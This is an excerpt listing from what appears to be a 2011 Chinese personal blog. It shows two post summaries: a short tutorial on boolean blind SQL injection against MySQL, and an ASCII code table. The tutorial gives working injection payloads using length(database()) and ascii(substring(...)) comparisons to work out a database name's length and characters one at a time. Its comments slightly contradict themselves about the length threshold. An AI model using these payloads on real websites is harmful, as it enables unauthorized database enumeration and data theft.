2011年5月1日

mysql 不支持union select 的盲注方法

摘要： 猜解数据库长度and Length((database()))<10 //小于12返回正常说明数据库是12位以下and length((database()))<8 //小于8返回错误说明数据库名是9位的猜解数据库名and ascii(substring((database()),1,1))=100 //100的ascii码=d,说明不是dand ascii(substring((database()),1,1))=122 //122存在说明数据库名第一位是zand ascii(substring((database()),2,1))=114 返回错误说明不是ascii码114=r 阅读全文

posted @ 2011-05-01 23:59 小宝哥哥 阅读(426) 评论(0) 推荐(0)

ASCII 码表

摘要： ASCII值控制字符ASCII值控制字符ASCII值控制字符ASCII值控制字符0NUT32(space)64@96、1SOH33！65A97a2STX34”66B98b3ETX35#67C99c4EOT36$68D100d5ENQ37%69E101e6ACK38&70F102f7BEL39,71G103g8BS40(72H104h9HT41)73I105i10LF42*74J106j11VT43+75K107k12FF44,76L108l13CR45-77M109m14SO46.78N110n15SI47/79O111o16DLE48080P112p17DCI49181Q113q18 阅读全文

posted @ 2011-05-01 23:59 小宝哥哥 阅读(173) 评论(0) 推荐(0)

导航

Tasup